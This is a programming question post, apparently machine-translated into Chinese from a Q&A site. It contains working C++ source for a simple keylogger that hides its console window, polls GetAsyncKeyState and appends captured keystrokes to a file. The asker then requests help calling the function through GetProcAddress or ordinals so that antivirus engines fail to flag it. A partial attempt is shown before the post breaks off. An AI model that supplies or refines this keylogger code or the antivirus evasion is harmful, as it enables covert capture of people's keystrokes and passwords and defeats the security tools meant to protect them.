我正在制作我自己的源代码混淆器,我注意到如果源代码中有这样的函数调用,一些防病毒引擎会检测到一个简单的键盘记录器。“获取ASyncKeyState”。以这个源代码为例,它是一个简单的键盘记录器主函数。
int main()
{
ShowWindow(GetConsoleWindow(), SW_HIDE);
char KEY = 'x';
while (true) {
Sleep(10);
for (int KEY = 8; KEY <= 190; KEY++)
{
if (GetAsyncKeyState(KEY) == -32767) {
if (SpecialKeys(KEY) == false) {
fstream LogFile;
LogFile.open("dat.txt", fstream::app);
if (LogFile.is_open()) {
LogFile << char(KEY);
LogFile.close();
}
}
}
}
}
return 0;
}
Run Code Online (Sandbox Code Playgroud)
我想混淆“GetAsyncKeyState”名称的函数调用,以便任何 AV 都无法将其检测为键盘记录器。我对使用序号和 GetProcAddress 的函数调用的实现感到困惑。就像我在下面的代码中尝试过的一样。
typedef int(__cdecl *MYPROC)(LPWSTR);
int main(void)
{
HINSTANCE hinstLib;
MYPROC ProcAdd;
BOOL fFreeResult, fRunTimeLinkSuccess = FALSE;
// Get a handle to the DLL …Run Code Online (Sandbox Code Playgroud)